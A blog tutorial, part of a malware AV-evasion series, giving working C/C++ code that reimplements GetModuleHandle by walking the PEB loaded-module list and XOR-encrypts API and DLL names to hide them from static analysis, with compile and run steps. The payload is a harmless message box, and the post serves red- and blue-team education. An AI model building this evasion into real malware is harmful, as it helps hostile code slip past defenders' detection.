cocomelonc

cybersec enthusiast. mathematician. author. speaker. hacker

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Hello, cybersecurity enthusiasts and white hackers!

av-evasion

This post is the result of my own research on try to evasion AV engines via another popular trick: WinAPI GetModuleHandle implementation.

GetModuleHandle

GetModuleHandle is a Windows API (also known as WinAPI) function that retrieves a handle to a loaded module in the address space of the calling process. It can be used to obtain identifiers for the associated executable or DLL files. The function declaration can be found in the Windows.h header file:

HMODULE GetModuleHandle(
  LPCWSTR lpModuleName
);

When using GetModuleHandle, we don’t need to call FreeLibrary to free the module, as it only retrieves a handle to a module that is already loaded in the process.

practical example. custom implementation of GetModuleHandle

Creating a custom implementation of GetModuleHandle using the Process Environment Block (PEB) can help avoid antivirus (AV) detection in certain scenarios.

You can use the PEB to access the loaded modules list and search for the desired module manually.

Here’s a high-level outline of the steps you would take to implement a custom GetModuleHandle function using the PEB:

  • access the PEB for the current process.
  • locate the InMemoryOrderModuleList in the PEB’s Ldr structure.
  • iterate through the linked list of loaded modules.
  • compare the base name of each module with the desired module name.
  • if a match is found, return the base address (which acts as a handle) of the module.

So, the full source code in C is looks like this:

// custom implementation
HMODULE myGetModuleHandle(LPCWSTR lModuleName) {

  // obtaining the offset of PPEB from the beginning of TEB
  PEB* pPeb = (PEB*)__readgsqword(0x60);

  // for x86
  // PEB* pPeb = (PEB*)__readgsqword(0x30);

  // obtaining the address of the head node in a linked list 
  // which represents all the models that are loaded into the process.
  PEB_LDR_DATA* Ldr = pPeb->Ldr;
  LIST_ENTRY* ModuleList = &Ldr->InMemoryOrderModuleList; 

  // iterating to the next node. this will be our starting point.
  LIST_ENTRY* pStartListEntry = ModuleList->Flink;

  // iterating through the linked list.
  WCHAR mystr[MAX_PATH] = { 0 };
  WCHAR substr[MAX_PATH] = { 0 };
  for (LIST_ENTRY* pListEntry = pStartListEntry; pListEntry != ModuleList; pListEntry = pListEntry->Flink) {

    // getting the address of current LDR_DATA_TABLE_ENTRY (which represents the DLL).
    LDR_DATA_TABLE_ENTRY* pEntry = (LDR_DATA_TABLE_ENTRY*)((BYTE*)pListEntry - sizeof(LIST_ENTRY));

    // checking if this is the DLL we are looking for
    memset(mystr, 0, MAX_PATH * sizeof(WCHAR));
    memset(substr, 0, MAX_PATH * sizeof(WCHAR));
    wcscpy_s(mystr, MAX_PATH, pEntry->FullDllName.Buffer);
    wcscpy_s(substr, MAX_PATH, lModuleName);
    if (cmpUnicodeStr(substr, mystr)) {
      // returning the DLL base address.
      return (HMODULE)pEntry->DllBase;
    }
  }

  // the needed DLL wasn't found
  printf("failed to get a handle to %s\n", lModuleName);
  return NULL;
}

And add my own function for comparing Unicode strings:

int cmpUnicodeStr(WCHAR substr[], WCHAR mystr[]) {
  _wcslwr_s(substr, MAX_PATH);
  _wcslwr_s(mystr, MAX_PATH);

  int result = 0;
  if (StrStrW(mystr, substr) != NULL) {
    result = 1;
  }

  return result;
}

AV evasion example

Let’s go to create a simple “malware”, just meow-meow messagebox example:

/*
 * hack.cpp - GetModuleHandle implementation. C++ implementation
 * @cocomelonc
 * https://cocomelonc.github.io/tutorial/2023/04/08/malware-av-evasion-15.html
*/
#include <stdlib.h>
#include <stdio.h>
#include <windows.h>
#include <winternl.h>
#include <shlwapi.h>
#include <string.h>

#pragma comment(lib, "Shlwapi.lib")

int cmpUnicodeStr(WCHAR substr[], WCHAR mystr[]) {
  _wcslwr_s(substr, MAX_PATH);
  _wcslwr_s(mystr, MAX_PATH);

  int result = 0;
  if (StrStrW(mystr, substr) != NULL) {
    result = 1;
  }

  return result;
}

typedef UINT(CALLBACK* fnMessageBoxA)(
  HWND   hWnd,
  LPCSTR lpText,
  LPCSTR lpCaption,
  UINT   uType
);

// custom implementation
HMODULE myGetModuleHandle(LPCWSTR lModuleName) {

  // obtaining the offset of PPEB from the beginning of TEB
  PEB* pPeb = (PEB*)__readgsqword(0x60);

  // for x86
  // PEB* pPeb = (PEB*)__readgsqword(0x30);

  // obtaining the address of the head node in a linked list 
  // which represents all the models that are loaded into the process.
  PEB_LDR_DATA* Ldr = pPeb->Ldr;
  LIST_ENTRY* ModuleList = &Ldr->InMemoryOrderModuleList; 

  // iterating to the next node. this will be our starting point.
  LIST_ENTRY* pStartListEntry = ModuleList->Flink;

  // iterating through the linked list.
  WCHAR mystr[MAX_PATH] = { 0 };
  WCHAR substr[MAX_PATH] = { 0 };
  for (LIST_ENTRY* pListEntry = pStartListEntry; pListEntry != ModuleList; pListEntry = pListEntry->Flink) {

    // getting the address of current LDR_DATA_TABLE_ENTRY (which represents the DLL).
    LDR_DATA_TABLE_ENTRY* pEntry = (LDR_DATA_TABLE_ENTRY*)((BYTE*)pListEntry - sizeof(LIST_ENTRY));

    // checking if this is the DLL we are looking for
    memset(mystr, 0, MAX_PATH * sizeof(WCHAR));
    memset(substr, 0, MAX_PATH * sizeof(WCHAR));
    wcscpy_s(mystr, MAX_PATH, pEntry->FullDllName.Buffer);
    wcscpy_s(substr, MAX_PATH, lModuleName);
    if (cmpUnicodeStr(substr, mystr)) {
      // returning the DLL base address.
      return (HMODULE)pEntry->DllBase;
    }
  }

  // the needed DLL wasn't found
  printf("failed to get a handle to %s\n", lModuleName);
  return NULL;
}

// encrypted function name (MessageBoxA)
unsigned char s_mb[] = { 0x20, 0x1c, 0x0, 0x6, 0x11, 0x2, 0x17, 0x31, 0xa, 0x1b, 0x33 };

// encrypted module name (user32.dll)
unsigned char s_dll[] = { 0x18, 0xa, 0x16, 0x7, 0x43, 0x57, 0x5c, 0x17, 0x9, 0xf };

// key
char s_key[] = "mysupersecretkey";

// XOR decrypt
void XOR(char * data, size_t data_len, char * key, size_t key_len) {
  int j;
  j = 0;
  for (int i = 0; i < data_len; i++) {
    if (j == key_len - 1) j = 0;
    data[i] = data[i] ^ key[j];
    j++;
  }
}

int main(int argc, char* argv[]) {
  XOR((char *) s_dll, sizeof(s_dll), s_key, sizeof(s_key));
  XOR((char *) s_mb, sizeof(s_mb), s_key, sizeof(s_key));

  wchar_t wtext[20];
  mbstowcs(wtext, s_dll, strlen(s_dll)+1); //plus null
  LPWSTR user_dll = wtext;

  HMODULE mod = myGetModuleHandle(user_dll);
  if (NULL == mod) {
    return -2;
  } else {
    printf("meow");
  }

  fnMessageBoxA myMessageBoxA = (fnMessageBoxA)GetProcAddress(mod, (LPCSTR)s_mb);
  myMessageBoxA(NULL, "Meow-meow!","=^..^=", MB_OK);
  return 0;
}

As you can see, I also added XOR encryption strings (function and module names).

demo

Let’s go to see everything in action. First of all compile our “malware”:

x86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive

av-evasion

And run at the victim’s machine (Windows 10 x64):

.\hack.exe

av-evasion

As you can see, just print meow for correctness. Everything is worked perfectly =^..^=

If we analyze our binary via PE-bear:

av-evasion

av-evasion

or via strings:

strings ./hack.exe

av-evasion

av-evasion

As result, GetModuleHandle WinAPI hidden: bypass AV engines in certain scenarios.

In the next post, I will look at the my own practical implementation of GetProcAddress

I hope this post spreads awareness to the blue teamers of this interesting evasion technique, and adds a weapon to the red teamers arsenal.

MITRE ATT&CK: T1027
AV evasion: part 1
AV evasion: part 2
GetModuleHandle
source code in github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine

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